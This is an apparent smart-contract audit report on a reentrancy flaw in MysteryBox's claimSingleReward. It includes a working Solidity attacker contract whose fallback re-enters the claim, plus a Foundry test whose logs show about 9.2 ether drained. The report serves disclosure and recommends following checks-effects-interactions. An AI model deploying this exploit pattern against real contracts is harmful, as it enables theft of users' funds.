Summary
If a user opens a box that isn't coal, there is a reentrancy in MysteryBox:claimSingleReward due to not following CEI.
Vulnerability Details
Someone can steal all funds from a contract.
Impact
High
Tools Used
Foudnry
Recommendations
Follow CEI
POC
contract ClaimSingleRewardReceiver {
MysteryBox public mysteryBoxInsance;
constructor(address mysteryBoxInstanceAddress) {
mysteryBoxInsance = MysteryBox(mysteryBoxInstanceAddress);
}
fallback() payable external {
if (address(mysteryBoxInsance).balance >= 1 ether) {
mysteryBoxInsance.claimSingleReward(0);
}
}
function startAttack() public payable {
mysteryBoxInsance.buyBox{value: 0.1 ether}();
mysteryBoxInsance.openBox();
mysteryBoxInsance.claimSingleReward(0);
}
function logBalance() public returns(uint256){
return address(this).balance;
}
}
function test_claimAllRewardsReentrancy() public {
vm.deal(address(mysteryBox), 10 ether);
vm.startPrank(user1);
vm.deal(address(user1), 100 ether);
ClaimSingleRewardReceiver attackContract = new ClaimSingleRewardReceiver(address(mysteryBox));
console2.logUint(attackContract.logBalance());
attackContract.startAttack{value: 0.1 ether}();
console2.logUint(attackContract.logBalance());
}
console.logs:
[PASS]
Logs:
Reward Pool Length: 4
0
9200000000000000000